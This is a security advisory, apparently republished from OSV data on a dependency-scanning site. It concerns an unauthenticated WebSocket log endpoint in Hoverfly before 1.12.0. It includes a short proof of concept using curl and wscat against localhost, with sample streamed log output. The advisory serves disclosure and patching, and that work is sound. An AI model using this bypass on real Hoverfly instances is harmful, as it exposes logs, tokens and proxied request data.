WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled
Published 10 Sept 2025 · Updated 24 Sept 2025
Is your project on an affected github.com/SpectoLabs/hoverfly?
Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected package
- Affected
- <1.12.0
- Fixed in
- 1.12.0
go get github.com/SpectoLabs/hoverfly@v1.12.0Details
Summary
Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can:
- Stream real-time application logs (information disclosure).
- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.
PoC
1. Start Hoverfly with authentication enabled:
./hoverfly -auth
2. Confirm REST API requires credentials:
curl -i http://localhost:8888/api/v2/hoverfly/version
3. Connect to the WebSocket endpoint without credentials:
wscat -c ws://localhost:8888/api/v2/ws/logs # Connected (press CTRL+C to quit) # … logs stream immediately … (You would need to send a message to start receiving stream)
wscat -c ws://localhost:8888/api/v2/ws/logs
Connected (press CTRL+C to quit)
> hi!
< {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]}
< ...
< ...Impact
Authentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.
Is GHSA-jxmr-2h4q-rhxp in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/SpectoLabs/hoverfly, and gives you the command that fixes it.
More advisories for github.com/SpectoLabs/hoverfly
- LowCVE-2026-50018Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly · 17 Jul 2026
- LowCVE-2026-50013Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly · 17 Jul 2026
- MediumCVE-2026-50018Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions · 14 Jul 2026
- HighCVE-2026-50013Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode · 14 Jul 2026
- LowCVE-2025-54123Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation in github.com/SpectoLabs/hoverfly · 17 Sept 2025
- CriticalCVE-2025-54123Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation · 10 Sept 2025
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.